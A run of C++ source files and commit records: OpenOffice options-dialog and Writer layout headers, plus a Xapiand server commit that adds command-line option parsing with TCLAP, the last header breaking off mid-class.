Edit( pParent, rResId ), bOnlyNumeric( bNum ) {}
virtual void KeyInput( const KeyEvent& rKEvent );
virtual void Modify();
};
typedef SfxFilter* SfxFilterPtr;
SV_DECL_PTRARR( SfxFilterPtrArr, SfxFilterPtr, 0, 4 )
// class SvxProxyTabPage -------------------------------------------------
class SvxProxyTabPage : public SfxTabPage
{
private:
FixedLine aOptionGB;
FixedText aProxyModeFT;
ListBox aProxyModeLB;
FixedText aHttpProxyFT;
SvxNoSpaceEdit aHttpProxyED;
FixedText aHttpPortFT;
SvxNoSpaceEdit aHttpPortED;
FixedText aFtpProxyFT;
SvxNoSpaceEdit aFtpProxyED;
FixedText aFtpPortFT;
SvxNoSpaceEdit aFtpPortED;
FixedText aNoProxyForFT;
Edit aNoProxyForED;
FixedText aNoProxyDescFT;
String sFromBrowser;
const rtl::OUString aProxyModePN;
const rtl::OUString aHttpProxyPN;
const rtl::OUString aHttpPortPN;
const rtl::OUString aFtpProxyPN;
const rtl::OUString aFtpPortPN;
const rtl::OUString aNoProxyDescPN;
uno::Reference< uno::XInterface > m_xConfigurationUpdateAccess;
#ifdef _SVX_OPTINET2_CXX
void EnableControls_Impl(BOOL bEnable);
void ReadConfigData_Impl();
void ReadConfigDefaults_Impl();
void RestoreConfigDefaults_Impl();
DECL_LINK( ProxyHdl_Impl, ListBox * );
DECL_LINK( LoseFocusHdl_Impl, Edit * );
#endif
SvxProxyTabPage( Window* pParent, const SfxItemSet& rSet );
virtual ~SvxProxyTabPage();
public:
static SfxTabPage* Create( Window* pParent, const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
// class SvxSearchTabPage ------------------------------------------------
class SvxSearchConfig;
class SvxSearchTabPage : public SfxTabPage
{
private:
FixedLine aSearchGB;
ListBox aSearchLB;
FixedText aSearchNameFT;
SvxNoSpaceEdit aSearchNameED;
FixedText aSearchFT;
RadioButton aAndRB;
RadioButton aOrRB;
RadioButton aExactRB;
FixedText aURLFT;
SvxNoSpaceEdit aURLED;
FixedText aPostFixFT;
SvxNoSpaceEdit aPostFixED;
FixedText aSeparatorFT;
SvxNoSpaceEdit aSeparatorED;
FixedText aCaseFT;
ListBox aCaseED;
PushButton aNewPB;
PushButton aAddPB;
PushButton aChangePB;
PushButton aDeletePB;
String sLastSelectedEntry;
String sModifyMsg;
SvxSearchConfig aSearchConfig;
SvxSearchEngineData aCurrentSrchData;
#ifdef _SVX_OPTINET2_CXX
void FillSearchBox_Impl();
String GetSearchString_Impl();
DECL_LINK( NewSearchHdl_Impl, PushButton * );
DECL_LINK( AddSearchHdl_Impl, PushButton * );
DECL_LINK( ChangeSearchHdl_Impl, PushButton * );
DECL_LINK( DeleteSearchHdl_Impl, PushButton * );
DECL_LINK( SearchEntryHdl_Impl, ListBox * );
DECL_LINK( SearchModifyHdl_Impl, SvxNoSpaceEdit * );
DECL_LINK( SearchPartHdl_Impl, RadioButton * );
#endif
virtual void ActivatePage( const SfxItemSet& rSet );
virtual int DeactivatePage( SfxItemSet* pSet = 0 );
BOOL ConfirmLeave( const String& rStringSelection ); //add by BerryJia for fixing Bug102610 Time:2002-8-29 11:00 (China Standard Time GMT+08:00)
SvxSearchTabPage( Window* pParent, const SfxItemSet& rSet );
virtual ~SvxSearchTabPage();
public:
static SfxTabPage* Create( Window* pParent, const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
// #98647# class SvxScriptExecListBox ------------------------------------
class SvxScriptExecListBox : public ListBox
{ // for adding tooltips to ListBox
public:
SvxScriptExecListBox( Window* pParent, WinBits nStyle = WB_BORDER )
:ListBox(pParent, nStyle) {}
SvxScriptExecListBox( Window* pParent, const ResId& rResId )
:ListBox(pParent, rResId) {}
protected:
virtual void RequestHelp( const HelpEvent& rHEvt );
};
// class SvxSecurityTabPage ---------------------------------------------
class SvtJavaOptions;
class SvtSecurityOptions;
class SvxSecurityTabPage : public SfxTabPage
{
public:
enum RedliningMode { RL_NONE, RL_WRITER, RL_CALC };
private:
FixedLine maSecOptionsFL;
FixedInfo maSecOptionsFI;
CheckBox maSaveOrSendDocsCB;
CheckBox maSignDocsCB;
CheckBox maPrintDocsCB;
CheckBox maCreatePdfCB;
CheckBox maRemovePersInfoCB;
CheckBox maRecommPasswdCB;
FixedLine maMacroSecFL;
FixedInfo maMacroSecFI;
PushButton maMacroSecPB;
FixedLine maFilesharingFL;
CheckBox maRecommReadOnlyCB;
CheckBox maRecordChangesCB;
PushButton maProtectRecordsPB;
SvtSecurityOptions* mpSecOptions;
RedliningMode meRedlingMode;
String msProtectRecordsStr;
String msUnprotectRecordsStr;
DECL_LINK( AdvancedPBHdl, void* );
DECL_LINK( MacroSecPBHdl, void* );
DECL_LINK( RecordChangesCBHdl, void* );
DECL_LINK( ProtectRecordsPBHdl, void* );
void CheckRecordChangesState( void );
SvxSecurityTabPage( Window* pParent, const SfxItemSet& rSet );
virtual ~SvxSecurityTabPage();
protected:
virtual void ActivatePage( const SfxItemSet& rSet );
virtual int DeactivatePage( SfxItemSet* pSet = 0 );
public:
static SfxTabPage* Create( Window* pParent, const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
//added by jmeng begin
class MozPluginTabPage : public SfxTabPage
{
FixedLine aMSWordGB;
CheckBox aWBasicCodeCB;
BOOL isInstalled(void);
BOOL installPlugin(void);
BOOL uninstallPlugin(void);
MozPluginTabPage( Window* pParent, const SfxItemSet& rSet );
virtual ~MozPluginTabPage();
public:
static SfxTabPage* Create( Window* pParent,
const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
//added by jmeng end
#endif
/* -----------------------------20.06.01 16:32--------------------------------
---------------------------------------------------------------------------*/
#ifdef WNT
#else
#define HELPER_PAGE_COMPLETE
#endif
struct SvxEMailTabPage_Impl;
class SvxEMailTabPage : public SfxTabPage
{
FixedLine aMailFL;
ReadOnlyImage aMailerURLFI;
FixedText aMailerURLFT;
Edit aMailerURLED;
PushButton aMailerURLPB;
String m_sDefaultFilterName;
SvxEMailTabPage_Impl* pImpl;
DECL_LINK( FileDialogHdl_Impl, PushButton* ) ;
public:
SvxEMailTabPage( Window* pParent, const SfxItemSet& rSet );
~SvxEMailTabPage();
static SfxTabPage* Create( Window* pParent, const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
#endif // #ifndef _SVX_OPTINET_HXX
<|endoftext|> |
<commit_before>/*
* Copyright (C) 2015 deipi.com LLC and contributors. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#include "xapiand.h"
#include "utils.h"
#include "manager.h"
#include <stdlib.h>
XapiandManager *manager_ptr = NULL;
static void sig_shutdown_handler(int sig)
{
if (manager_ptr) {
manager_ptr->sig_shutdown_handler(sig);
}
}
void setup_signal_handlers(void) {
signal(SIGHUP, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
struct sigaction act;
/* When the SA_SIGINFO flag is set in sa_flags then sa_sigaction is used.
* Otherwise, sa_handler is used. */
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_handler = sig_shutdown_handler;
sigaction(SIGTERM, &act, NULL);
sigaction(SIGINT, &act, NULL);
}
void run(int num_servers, const char *cluster_name_, const char *node_name_, const char *discovery_group, int discovery_port, int http_port, int binary_port)
{
ev::default_loop default_loop;
setup_signal_handlers();
XapiandManager manager(&default_loop, cluster_name_, node_name_, discovery_group, discovery_port, http_port, binary_port);
manager_ptr = &manager;
manager.run(num_servers);
manager_ptr = NULL;
}
int main(int argc, char **argv)
{
int num_servers = 8;
int discovery_port = 0;
int http_port = 0;
int binary_port = 0;
const char *discovery_group = NULL;
const char *cluster_name = "xapiand";
const char *p;
INFO((void *)NULL,
"\n\n"
" __ __ _ _\n"
" \\ \\/ /__ _ _ __ (_) __ _ _ __ __| |\n"
" \\ // _` | '_ \\| |/ _` | '_ \\ / _` |\n"
" / \\ (_| | |_) | | (_| | | | | (_| |\n"
" /_/\\_\\__,_| .__/|_|\\__,_|_| |_|\\__,_|\n"
" |_| v%s\n"
" [%s]\n"
" Using Xapian v%s\n\n", PACKAGE_VERSION, PACKAGE_BUGREPORT, XAPIAN_VERSION);
INFO((void *)NULL, "Joined cluster: %s\n", cluster_name);
/*
#ifdef XAPIAN_HAS_GLASS_BACKEND
// Prefer glass database
if (setenv("XAPIAN_PREFER_GLASS", "1", false) == 0) {
INFO((void *)NULL, "Enabled glass database.\n");
}
#elif XAPIAN_HAS_BRASS_BACKEND
// Prefer brass database
if (setenv("XAPIAN_PREFER_BRASS", "1", false) == 0) {
INFO((void *)NULL, "Enabled brass database.\n");
}
#endif
*/
// Enable changesets
if (setenv("XAPIAN_MAX_CHANGESETS", "10", false) == 0) {
INFO((void *)NULL, "Database changesets set to 10.\n");
}
// Flush threshold increased
int flush_threshold = 10000; // Default is 10000 (if no set)
p = getenv("XAPIAN_FLUSH_THRESHOLD");
if (p) flush_threshold = atoi(p);
if (flush_threshold < 100000 && setenv("XAPIAN_FLUSH_THRESHOLD", "100000", false) == 0) {
INFO((void *)NULL, "Increased flush threshold to 100000 (it was originally set to %d).\n", flush_threshold);
}
time(&init_time);
struct tm *timeinfo = localtime(&init_time);
timeinfo->tm_hour = 0;
timeinfo->tm_min = 0;
timeinfo->tm_sec = 0;
int diff_t = (int)(init_time - mktime(timeinfo));
b_time.minute = diff_t / SLOT_TIME_SECOND;
b_time.second = diff_t % SLOT_TIME_SECOND;
if (argc > 2) {
http_port = atoi(argv[1]);
binary_port = atoi(argv[2]);
}
run(num_servers, cluster_name, "", discovery_group, discovery_port, http_port, binary_port);
INFO((void *)NULL, "Done with all work!\n");
return 0;
}
<commit_msg>Added command options using Templatized C++ Command Line Parser<commit_after>/*
* Copyright (C) 2015 deipi.com LLC and contributors. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#include "xapiand.h"
#include "utils.h"
#include "manager.h"
#include "tclap/CmdLine.h"
#include "tclap/ZshCompletionOutput.h"
#include <stdlib.h>
using namespace TCLAP;
XapiandManager *manager_ptr = NULL;
static void sig_shutdown_handler(int sig)
{
if (manager_ptr) {
manager_ptr->sig_shutdown_handler(sig);
}
}
void setup_signal_handlers(void) {
signal(SIGHUP, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
struct sigaction act;
/* When the SA_SIGINFO flag is set in sa_flags then sa_sigaction is used.
* Otherwise, sa_handler is used. */
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_handler = sig_shutdown_handler;
sigaction(SIGTERM, &act, NULL);
sigaction(SIGINT, &act, NULL);
}
void run(int num_servers, const char *cluster_name_, const char *node_name_, const char *discovery_group, int discovery_port, int http_port, int binary_port)
{
ev::default_loop default_loop;
setup_signal_handlers();
XapiandManager manager(&default_loop, cluster_name_, node_name_, discovery_group, discovery_port, http_port, binary_port);
manager_ptr = &manager;
manager.run(num_servers);
manager_ptr = NULL;
}
// This exemplifies how the output class can be overridden to provide
// user defined output.
class CmdOutput : public StdOutput
{
public:
virtual void failure(CmdLineInterface& _cmd, ArgException& e) {
std::string progName = _cmd.getProgramName();
std::cerr << "Error: " << e.argId() << std::endl;
spacePrint(std::cerr, e.error(), 75, 3, 0);
std::cerr << std::endl;
if (_cmd.hasHelpAndVersion()) {
std::cerr << "Usage: " << std::endl;
_shortUsage( _cmd, std::cerr );
std::cerr << std::endl << "For complete usage and help type: "
<< std::endl << " " << progName << " "
<< Arg::nameStartString() << "help"
<< std::endl << std::endl;
} else {
usage(_cmd);
}
throw ExitException(1);
}
virtual void usage(CmdLineInterface& _cmd) {
std::string message = _cmd.getMessage();
spacePrint(std::cout, message, 75, 0, 0);
std::cout << std::endl;
std::cout << "Usage: " << std::endl;
_shortUsage(_cmd, std::cout);
std::cout << std::endl << "Where: " << std::endl;
_longUsage(_cmd, std::cout);
}
virtual void version(CmdLineInterface& _cmd) {
std::string xversion = _cmd.getVersion();
std::cout << xversion << std::endl;
}
};
typedef struct opts_s {
int verbosity;
bool daemonize;
bool glass;
std::string cluster_name;
std::string node_name;
int http_port;
int binary_port;
int discovery_port;
std::string pidfile;
std::string uid;
std::string gid;
std::string discovery_group;
int num_servers;
} opts_t;
void parseOptions(int argc, char** argv, opts_t &opts)
{
try {
CmdLine cmd("Start " PACKAGE_NAME ".", ' ', PACKAGE_STRING);
// ZshCompletionOutput zshoutput;
// cmd.setOutput(&zshoutput);
CmdOutput output;
cmd.setOutput(&output);
MultiSwitchArg verbosity("v", "verbose", "Increase verbosity.", cmd);
SwitchArg daemonize("d", "daemon", "daemonize (run in background).", cmd);
#ifdef XAPIAN_HAS_GLASS_BACKEND
SwitchArg glass("", "glass", "Try using glass databases.", cmd, false);
#endif
ValueArg<std::string> cluster_name("", "cluster", "Cluster name to join.", false, XAPIAND_CLUSTER_NAME, "cluster", cmd);
ValueArg<std::string> node_name("n", "name", "Node name.", false, "", "node", cmd);
ValueArg<int> http_port("", "http", "HTTP REST API port", false, XAPIAND_HTTP_SERVERPORT, "port", cmd);
ValueArg<int> binary_port("", "xapian", "Xapian binary protocol port", false, XAPIAND_BINARY_SERVERPORT, "port", cmd);
ValueArg<int> discovery_port("", "discovery", "Discovery UDP port", false, XAPIAND_DISCOVERY_SERVERPORT, "port", cmd);
ValueArg<std::string> discovery_group("", "group", "Discovery UDP group", false, XAPIAND_DISCOVERY_GROUP, "group", cmd);
ValueArg<std::string> pidfile("p", "pid", "Write PID to <pidfile>.", false, "xapiand.pid", "pidfile", cmd);
ValueArg<std::string> uid("u", "uid", "User ID.", false, "xapiand", "uid", cmd);
ValueArg<std::string> gid("g", "gid", "Group ID.", false, "xapiand", "uid", cmd);
ValueArg<int> num_servers("", "workers", "Number of worker servers.", false, 8, "servers", cmd);
cmd.parse( argc, argv );
opts.verbosity = verbosity.getValue();
opts.daemonize = daemonize.getValue();
#ifdef XAPIAN_HAS_GLASS_BACKEND
opts.glass = glass.getValue();
#endif
opts.cluster_name = cluster_name.getValue();
opts.node_name = node_name.getValue();
opts.http_port = http_port.getValue();
opts.binary_port = binary_port.getValue();
opts.discovery_port = discovery_port.getValue();
opts.discovery_group = discovery_group.getValue();
opts.pidfile = pidfile.getValue();
opts.uid = uid.getValue();
opts.gid = gid.getValue();
opts.num_servers = num_servers.getValue();
} catch (ArgException &e) { // catch any exceptions
std::cerr << "error: " << e.error() << " for arg " << e.argId() << std::endl;
}
}
int main(int argc, char **argv)
{
opts_t opts;
parseOptions(argc, argv, opts);
int http_port = (opts.http_port == XAPIAND_HTTP_SERVERPORT) ? 0 : opts.http_port;
int binary_port = (opts.binary_port == XAPIAND_BINARY_SERVERPORT) ? 0 : opts.binary_port;
int discovery_port = (opts.discovery_port == XAPIAND_DISCOVERY_SERVERPORT) ? 0 : opts.discovery_port;
const char *discovery_group = (opts.discovery_group.empty() || opts.discovery_group == XAPIAND_DISCOVERY_GROUP) ? NULL : opts.discovery_group.c_str();
const char *cluster_name = opts.cluster_name.c_str();;
const char *node_name = opts.node_name.c_str();;
INFO((void *)NULL,
"\n\n"
" __ __ _ _\n"
" \\ \\/ /__ _ _ __ (_) __ _ _ __ __| |\n"
" \\ // _` | '_ \\| |/ _` | '_ \\ / _` |\n"
" / \\ (_| | |_) | | (_| | | | | (_| |\n"
" /_/\\_\\__,_| .__/|_|\\__,_|_| |_|\\__,_|\n"
" |_| v%s\n"
" [%s]\n"
" Using Xapian v%s\n\n", PACKAGE_VERSION, PACKAGE_BUGREPORT, XAPIAN_VERSION);
INFO((void *)NULL, "Joined cluster: %s\n", cluster_name);
#ifdef XAPIAN_HAS_GLASS_BACKEND
if (opts.glass) {
// Prefer glass database
if (setenv("XAPIAN_PREFER_GLASS", "1", false) == 0) {
INFO((void *)NULL, "Enabled glass database.\n");
}
}
#endif
// Enable changesets
if (setenv("XAPIAN_MAX_CHANGESETS", "10", false) == 0) {
INFO((void *)NULL, "Database changesets set to 10.\n");
}
// Flush threshold increased
int flush_threshold = 10000; // Default is 10000 (if no set)
const char *p = getenv("XAPIAN_FLUSH_THRESHOLD");
if (p) flush_threshold = atoi(p);
if (flush_threshold < 100000 && setenv("XAPIAN_FLUSH_THRESHOLD", "100000", false) == 0) {
INFO((void *)NULL, "Increased flush threshold to 100000 (it was originally set to %d).\n", flush_threshold);
}
time(&init_time);
struct tm *timeinfo = localtime(&init_time);
timeinfo->tm_hour = 0;
timeinfo->tm_min = 0;
timeinfo->tm_sec = 0;
int diff_t = (int)(init_time - mktime(timeinfo));
b_time.minute = diff_t / SLOT_TIME_SECOND;
b_time.second = diff_t % SLOT_TIME_SECOND;
run(opts.num_servers, cluster_name, node_name, discovery_group, discovery_port, http_port, binary_port);
INFO((void *)NULL, "Done with all work!\n");
return 0;
}
<|endoftext|> |
<commit_before><commit_msg>use C++11 iteration<commit_after><|endoftext|> |
<commit_before><commit_msg>Share common code of if/else branches<commit_after><|endoftext|> |
<commit_before><commit_msg>Use more proper integer types and range-for loops, reduce scope<commit_after><|endoftext|> |
<commit_before><commit_msg>bracket up this horror anyway<commit_after><|endoftext|> |
<commit_before>/*************************************************************************
*
* $RCSfile: cellfrm.hxx,v $
*
* $Revision: 1.4 $
*
* last change: $Author: svesik $ $Date: 2004-04-21 09:55:30 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef _CELLFRM_HXX
#define _CELLFRM_HXX
#ifndef _SVMEMPOOL_HXX //autogen
#include <tools/mempool.hxx>
#endif
#include "layfrm.hxx"
class SwTableBox;
struct SwCrsrMoveState;
class SwBorderAttrs;
class SwCellFrm: public SwLayoutFrm
{
const SwTableBox *pTabBox;
protected:
virtual void Format( const SwBorderAttrs *pAttrs = 0 );
public:
SwCellFrm( const SwTableBox &, bool bInsertContent = true );
~SwCellFrm();
virtual BOOL GetCrsrOfst( SwPosition *, Point&,
const SwCrsrMoveState* = 0 ) const;
virtual void Modify( SfxPoolItem*, SfxPoolItem* );
const SwTableBox *GetTabBox() const { return pTabBox; }
// used for breaking table rows:
SwCellFrm* GetFollowCell() const;
SwCellFrm* GetPreviousCell() const;
virtual void CheckDirection( BOOL bVert );
DECL_FIXEDMEMPOOL_NEWDEL(SwCellFrm)
};
#endif
<commit_msg>INTEGRATION: CWS hbqea101 (1.3.170); FILE MERGED 2004/05/05 14:53:46 hbrinkm 1.3.170.2: RESYNC: (1.3-1.4); FILE MERGED 2004/04/26 13:38:26 hbrinkm 1.3.170.1: #i27615# allow cursor in front of numbering label and propagate char attrs to according numbering format<commit_after>/*************************************************************************
*
* $RCSfile: cellfrm.hxx,v $
*
* $Revision: 1.5 $
*
* last change: $Author: rt $ $Date: 2004-05-17 16:14:56 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef _CELLFRM_HXX
#define _CELLFRM_HXX
#ifndef _SVMEMPOOL_HXX //autogen
#include <tools/mempool.hxx>
#endif
#include "layfrm.hxx"
class SwTableBox;
struct SwCrsrMoveState;
class SwBorderAttrs;
class SwCellFrm: public SwLayoutFrm
{
const SwTableBox *pTabBox;
protected:
virtual void Format( const SwBorderAttrs *pAttrs = 0 );
public:
SwCellFrm( const SwTableBox &, bool bInsertContent = true );
~SwCellFrm();
virtual BOOL GetCrsrOfst( SwPosition *, Point&,
SwCrsrMoveState* = 0 ) const;
virtual void Modify( SfxPoolItem*, SfxPoolItem* );
const SwTableBox *GetTabBox() const { return pTabBox; }
// used for breaking table rows:
SwCellFrm* GetFollowCell() const;
SwCellFrm* GetPreviousCell() const;
virtual void CheckDirection( BOOL bVert );
DECL_FIXEDMEMPOOL_NEWDEL(SwCellFrm)
};
#endif
<|endoftext|> |
<commit_before>/*************************************************************************
*
* $RCSfile: flyfrms.hxx,v $
*
* $Revision: 1.3 $
*
* last change: $Author: mib $ $Date: 2001-10-12 13:22:10 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef _FLYFRMS_HXX
#define _FLYFRMS_HXX
#include "flyfrm.hxx"
//Basisklasse fuer diejenigen Flys, die sich relativ frei Bewegen koennen -
//also die nicht _im_ Inhalt gebundenen Flys.
class SwFlyFreeFrm : public SwFlyFrm
{
SwPageFrm *pPage; //Bei dieser Seite ist der Fly angemeldet.
void CheckClip( const SwFmtFrmSize &rSz ); //'Emergency' Clipping.
protected:
virtual void NotifyBackground( SwPageFrm *pPage,
const SwRect& rRect, PrepareHint eHint);
SwFlyFreeFrm( SwFlyFrmFmt*, SwFrm *pAnchor );
public:
virtual ~SwFlyFreeFrm();
virtual void MakeAll();
SwPageFrm *GetPage() { return pPage; }
const SwPageFrm *GetPage() const { return pPage; }
void SetPage( SwPageFrm *pNew ) { pPage = pNew; }
};
//Die Fly's, die an einem Layoutfrm haengen und nicht inhaltsgebunden sind
class SwFlyLayFrm : public SwFlyFreeFrm
{
public:
SwFlyLayFrm( SwFlyFrmFmt*, SwFrm *pAnchor );
SwFlyLayFrm( SwFlyLayFrm& );
virtual void Modify( SfxPoolItem*, SfxPoolItem* );
};
//Die Flys, die an einem Cntnt haengen nicht aber im Inhalt
class SwFlyAtCntFrm : public SwFlyFreeFrm
{
SwRect aLastCharRect; // Fuer autopositionierte Frames ( LAYER_IMPL )
protected:
//Stellt sicher, das der Fly an der richtigen Seite haengt.
void AssertPage();
virtual void MakeAll();
virtual void MakeFlyPos();
public:
SwFlyAtCntFrm( SwFlyFrmFmt*, SwFrm *pAnchor );
virtual void Modify( SfxPoolItem*, SfxPoolItem* );
void SetAbsPos( const Point &rNew );
// Fuer autopositionierte Frames ( LAYER_IMPL ), ueberprueft, ob sich
// die Ankerposition geaendert hat und invalidiert ggf.
void CheckCharRect();
SwTwips GetLastCharX() const { return aLastCharRect.Left() - Frm().Left(); }
SwTwips GetRelCharX( const SwFrm* pFrm ) const
{ return aLastCharRect.Left() - pFrm->Frm().Left(); }
SwTwips GetRelCharY( const SwFrm* pFrm ) const
{ return aLastCharRect.Bottom() - pFrm->Frm().Top(); }
void AddLastCharY( long nDiff ){ aLastCharRect.Pos().Y() += nDiff; }
};
//Die Flys, die an einem Zeichen in einem Cntnt haengen.
class SwFlyInCntFrm : public SwFlyFrm
{
Point aRef; //Relativ zu diesem Point wird die AbsPos berechnet.
long nLine; //Zeilenhoehe, Ref.Y() - nLine == Zeilenanfang.
BOOL bInvalidLayout :1;
BOOL bInvalidCntnt :1;
virtual void MakeFlyPos();
protected:
virtual void NotifyBackground( SwPageFrm *pPage,
const SwRect& rRect, PrepareHint eHint);
virtual void MakeAll();
public:
SwFlyInCntFrm( SwFlyFrmFmt*, SwFrm *pAnchor );
virtual ~SwFlyInCntFrm();
virtual void Format( const SwBorderAttrs *pAttrs = 0 );
virtual void Modify( SfxPoolItem*, SfxPoolItem* );
